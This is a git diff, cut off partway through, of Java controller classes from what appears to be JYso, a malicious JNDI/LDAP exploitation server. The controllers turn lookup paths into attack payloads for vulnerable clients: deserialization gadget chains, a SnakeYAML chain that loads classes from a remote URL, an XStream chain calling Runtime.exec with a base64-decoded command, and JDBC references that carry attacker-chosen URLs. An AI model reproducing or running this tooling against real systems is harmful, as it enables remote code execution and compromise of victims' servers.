- // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 - String Ty3 = base.substring(secondIndex + 1, thirdIndex); - payloadType = PayloadType.valueOf(Ty3.toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); - } - - if (payloadType == PayloadType.sethttp) { - params = BCEL1; - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset()); - } - - if (payloadType == PayloadType.command) { - - if (gadgetType1 == GadgetType.base64) { - cmd11 = Utils.getCmdFromBase(base); - } - - if (gadgetType1 == GadgetType.base64Two) { - String encodedString = Utils.getCmdFromBase(base); - byte[] decodedBytes = Base64.getDecoder().decode(encodedString); - String T1 = new String(decodedBytes); - byte[] decodedBytes1 = Base64.getDecoder().decode(T1); - cmd11 = new String(decodedBytes1); - } - - params = cmd11; - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset()); - } - - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e; - - throw new IncorrectParamsException("Incorrect params >> " + base); - } - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.enumtypes.PayloadType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.ObjectPayload; +import com.qi4l.JYso.gadgets.utils.Serializer; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.ByteArrayOutputStream; +import java.util.Base64; + +import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; + +@LdapMapping(uri = {"/deserialization"}) +public class SerializedDataController implements LdapController { + private static final Logger log = LogManager.getLogger(SerializedDataController.class); + public static String gadgetType; + public static String cmd11; + public static GadgetType gadgetType1; + private String params; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + + byte[] bytes; + + try { + final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(params); + + if (SerializedDataController.gadgetType.equals("JRE8u20")) { + bytes = (byte[]) object; + } else { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + bytes = Serializer.serialize(object, out); + } + + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaSerializedData", bytes); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + log.error(String.valueOf(er)); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { + System.out.println("- JNDI Deserialization Links "); + try { + base = base.replace('\\', '/'); + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + try { + gadgetType = base.substring(firstIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex)); + } + int thirdIndex = base.indexOf("/", secondIndex + 1); + int fourIndex = base.indexOf("/", thirdIndex + 1); + String Ty1 = base.substring(thirdIndex + 1, fourIndex); + gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); + // 若第三个斜杠不存在,则把其设置成为字符串的长度 + if (thirdIndex < 0) thirdIndex = base.length(); + PayloadType payloadType; + try { + // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + String Ty3 = base.substring(secondIndex + 1, thirdIndex); + payloadType = PayloadType.valueOf(Ty3.toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + if (payloadType == PayloadType.sethttp) { + params = BCEL1; + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset()); + } + + if (payloadType == PayloadType.command) { + + if (gadgetType1 == GadgetType.base64) { + cmd11 = Utils.getCmdFromBase(base); + } + + if (gadgetType1 == GadgetType.base64Two) { + String encodedString = Utils.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(encodedString); + String T1 = new String(decodedBytes); + byte[] decodedBytes1 = Base64.getDecoder().decode(T1); + cmd11 = new String(decodedBytes1); + } + + params = cmd11; + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset()); + } + + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java index dbc1ccd..c9584a7 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java @@ -1,71 +1,71 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; -import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.apache.naming.ResourceRef; -import org.fusesource.jansi.Ansi; - -import javax.naming.StringRefAddr; - -@LdapMapping(uri = {"/snakeyaml"}) -public class SnakeYamlController implements LdapController { - private String[] params; - private GadgetType gadgetType; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - Entry e = new Entry(base); - e.addAttribute("javaClassName", "java.lang.String"); - ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", - true, "org.apache.naming.factory.BeanFactory", null); - String yaml = "!!javax.script.ScriptEngineManager [\n" + - " !!java.net.URLClassLoader [[\n" + - " !!java.net.URL [\"" + params[0] + "\"]\n" + - " ]]\n" + - "]"; - ref.add(new StringRefAddr("forceString", "a=load")); - ref.add(new StringRefAddr("a", yaml)); - e.addAttribute("javaSerializedData", Utils.serialize(ref)); - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { - System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml"); - try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - int thirdIndex = base.indexOf("/", secondIndex + 1); - - if (thirdIndex != -1) { - try { - gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Utils.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); - params = new String[]{cmd}; - } - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params: " + base); - } - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +@LdapMapping(uri = {"/snakeyaml"}) +public class SnakeYamlController implements LdapController { + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + String yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"" + params[0] + "\"]\n" + + " ]]\n" + + "]"; + ref.add(new StringRefAddr("forceString", "a=load")); + ref.add(new StringRefAddr("a", yaml)); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + int thirdIndex = base.indexOf("/", secondIndex + 1); + + if (thirdIndex != -1) { + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); + params = new String[]{cmd}; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java index ac7a109..3268f17 100644 --- a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java +++ b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java @@ -1,92 +1,92 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; -import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.apache.naming.ResourceRef; -import org.fusesource.jansi.Ansi; - -import javax.naming.StringRefAddr; - -@LdapMapping(uri = {"/xstream"}) -public class XStreamController implements LdapController { - private String[] params; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - Entry e = new Entry(base); - e.addAttribute("javaClassName", "java.lang.String"); //could be any - ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", - true, "org.apache.naming.factory.BeanFactory", null); - String xml = "\n" + - " \n" + - " \n" + - " \n" + - " 2\n" + - " \n" + - " 3\n" + - " \n" + - " java.lang.Comparable\n" + - " \n" + - " true\n" + - " java.lang.Comparable\n" + - " \n" + - " \n" + - " \n" + - " java.lang.Comparable\n" + - " compareTo\n" + - " \n" + - " java.lang.Object\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " java.lang.Runtime\n" + - " exec\n" + - " \n" + - " java.lang.String\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " " + params[0] + "\n" + - " \n" + - ""; - ref.add(new StringRefAddr("forceString", "a=fromXML")); - ref.add(new StringRefAddr("a", xml)); - e.addAttribute("javaSerializedData", Utils.serialize(ref)); - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { - System.out.println("- JNDI LDAP Local Refenrence Links + XStream"); - try { - int firstIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", firstIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - String payloadType = base.substring(firstIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - - String cmd = Utils.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = new String[]{cmd}; - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params >> " + base); - } - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +@LdapMapping(uri = {"/xstream"}) +public class XStreamController implements LdapController { + private String[] params; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + String xml = "\n" + + " \n" + + " \n" + + " \n" + + " 2\n" + + " \n" + + " 3\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " true\n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " java.lang.Comparable\n" + + " compareTo\n" + + " \n" + + " java.lang.Object\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " java.lang.Runtime\n" + + " exec\n" + + " \n" + + " java.lang.String\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " " + params[0] + "\n" + + " \n" + + ""; + ref.add(new StringRefAddr("forceString", "a=fromXML")); + ref.add(new StringRefAddr("a", xml)); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + System.out.println("- JNDI LDAP Local Refenrence Links + XStream"); + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + String payloadType = base.substring(firstIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java index b5e63ea..4ee3c99 100644 --- a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java @@ -1,96 +1,96 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.fusesource.jansi.Ansi; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -@LdapMapping(uri = {"/jdbc1"}) -public class jdbcController1 implements LdapController { - - private static final Logger log = LogManager.getLogger(jdbcController1.class); - private static String driverq; - - private static String factoryType; - private static String[] params; - private static GadgetType gadgetType; - - public static void printResultJDBC1(String base) throws Exception { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - driverq = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex < 0) thirdIndex = base.length(); - - try { - factoryType = base.substring(secondIndex + 1, thirdIndex); - System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int fourthIndex = base.indexOf("/", thirdIndex + 1); - - if (fourthIndex != -1) { - try { - gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Utils.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); - params = new String[]{cmd}; - } - } - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - try { - Entry e = new Entry(base); - String driver = driverq; - String JDBC_URL = params[0]; - - e.addAttribute("objectClass", "javaNamingReference"); - e.addAttribute("javaClassName", "javax.sql.DataSource"); - e.addAttribute("javaFactory", factoryType); - e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1"); - - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } catch (Throwable er) { - System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(er)); - } - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI JDBC Reference Links Target < JDK20"); - try { - printResultJDBC1(base); - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params: " + base); - } - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +@LdapMapping(uri = {"/jdbc1"}) +public class jdbcController1 implements LdapController { + + private static final Logger log = LogManager.getLogger(jdbcController1.class); + private static String driverq; + + private static String factoryType; + private static String[] params; + private static GadgetType gadgetType; + + public static void printResultJDBC1(String base) throws Exception { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + driverq = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); + params = new String[]{cmd}; + } + } + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + Entry e = new Entry(base); + String driver = driverq; + String JDBC_URL = params[0]; + + e.addAttribute("objectClass", "javaNamingReference"); + e.addAttribute("javaClassName", "javax.sql.DataSource"); + e.addAttribute("javaFactory", factoryType); + e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1"); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + log.error(String.valueOf(er)); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI JDBC Reference Links Target < JDK20"); + try { + printResultJDBC1(base); + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java index d5bd835..b99379e 100644 --- a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java @@ -1,113 +1,113 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.fusesource.jansi.Ansi; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import javax.naming.RefAddr; -import javax.naming.Reference; -import javax.naming.StringRefAddr; -import java.util.Enumeration; - -@LdapMapping(uri = {"/jdbc2"}) -public class jdbcController2 implements LdapController { - - private static final Logger log = LogManager.getLogger(jdbcController2.class); - private static String payloadType; - private static String factoryType; - private static String[] params; - private static GadgetType gadgetType; - - public static void printResultJDBC2(String base) throws Exception { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex < 0) thirdIndex = base.length(); - - try { - factoryType = base.substring(secondIndex + 1, thirdIndex); - System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int fourthIndex = base.indexOf("/", thirdIndex + 1); - - if (fourthIndex != -1) { - try { - gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Utils.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); - params = new String[]{cmd}; - } - } - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - try { - Entry e = new Entry(base); - String driver = payloadType; - String JDBC_URL = params[0]; - - Reference ref = new Reference("javax.sql.DataSource", factoryType, null); - ref.add(new StringRefAddr("driverClassName", driver)); - ref.add(new StringRefAddr("url", JDBC_URL)); - ref.add(new StringRefAddr("initialSize", "1")); - - e.addAttribute("objectClass", "javaNamingReference"); - e.addAttribute("javaClassName", ref.getClassName()); - e.addAttribute("javaFactory", ref.getFactoryClassName()); - - Enumeration enumeration = ref.getAll(); - int sn = 0; - - while (enumeration.hasMoreElements()) { - StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); - e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent()); - sn++; - } - - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } catch (Throwable er) { - System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(er)); - } - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI JDBC Reference Links Target < JDK20"); - try { - printResultJDBC2(base); - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params: " + base); - } - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import javax.naming.RefAddr; +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.util.Enumeration; + +@LdapMapping(uri = {"/jdbc2"}) +public class jdbcController2 implements LdapController { + + private static final Logger log = LogManager.getLogger(jdbcController2.class); + private static String payloadType; + private static String factoryType; + private static String[] params; + private static GadgetType gadgetType; + + public static void printResultJDBC2(String base) throws Exception { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); + params = new String[]{cmd}; + } + } + + @Override + public void 